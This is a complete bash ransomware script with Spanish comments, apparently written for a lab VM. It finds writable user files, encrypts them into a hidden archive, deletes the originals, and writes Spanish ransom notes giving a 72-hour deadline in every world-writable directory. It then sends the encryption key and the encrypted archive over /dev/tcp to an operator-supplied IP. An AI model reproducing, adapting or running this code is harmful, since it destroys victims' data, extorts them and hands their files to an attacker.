#!/bin/bash
# /bin/bash porque sí queremos ejecutar esto... en la VM :)

IP=$1
KEY=$(openssl rand -hex 32)

function get_writeable_dirs() {
        mapfile -d '' WRITEABLE_DIRS < <(find / -type d -perm -0002 -print0)
}

function get_interesting_files() {
        mapfile -d '' TARGETS < <(find / -type f -writable \( -name "*.sh" -o -name "*.doc" -o -name "*.zip" -name "*.txt" -o -name "*.pdf" -o -name "*.docx" -o -name "*.db" \) -print0)
}

function get_victim_ip() {
        hostname -I | awk '{print $1}'
}

function send_key() {
        local victim_ip
        victim_ip=$(get_victim_ip)
        printf 'GET /?k=%s&v=%s HTTP/1.0\r\nHost: %s\r\n\r\n' \
                "$KEY" "$victim_ip" "$IP" \
                > /dev/tcp/"$IP"/9090
}

function send_vault() {
        local victim_ip size
        victim_ip=$(get_victim_ip)
        size=$(stat -c%s /tmp/.vault.enc)
        {
                printf 'POST /vault/%s HTTP/1.0\r\n' "$victim_ip"
                printf 'Host: %s\r\n' "$IP"
                printf 'Content-Type: application/octet-stream\r\n'
                printf 'Content-Length: %d\r\n' "$size"
                printf '\r\n'
                cat /tmp/.vault.enc
        } > /dev/tcp/"$IP"/9091
}

function make_readme() {
        printf '%s\0' "${WRITEABLE_DIRS[@]}" | \
                xargs -0 -I% sh -c \
                'echo "Tus archivos han sido cifrados. Tienes 72 horas para pagar." > "%/LEEME_URGENTE.txt"'
}

function encrypt() {
        # Un solo tar stream -> un solo openssl -> un solo fork
        printf '%s\0' "${TARGETS[@]}" | \
                tar --null -T - -czf - | \
                openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \
                > /tmp/.vault.enc

        # Eliminar originales en batch (un solo find, sin shred por archivo)
        printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
}

function main() {
        echo "[*] Reconocimiento: directorios escribibles..."
        time get_writeable_dirs
        echo "[+] ${#WRITEABLE_DIRS[@]} directorios encontrados."

        echo "[*] Reconocimiento: archivos objetivo..."
        time get_interesting_files
        echo "[+] ${#TARGETS[@]} archivos encontrados."

        echo "[*] Cifrando (tar | openssl, un proceso)..."
        time encrypt
        echo "[+] Cifrado completo. Vault: /tmp/.vault.enc"

        echo "[*] Depositando notas de rescate..."
        time make_readme
        echo "[+] Notas en ${#WRITEABLE_DIRS[@]} directorios."

        echo "[*] Exfiltrando clave a $IP..."
        send_key
        echo "[+] Clave enviada."

        echo "[*] Exfiltrando vault a $IP..."
        send_vault
        echo "[+] Hecho."
}

main "$@"
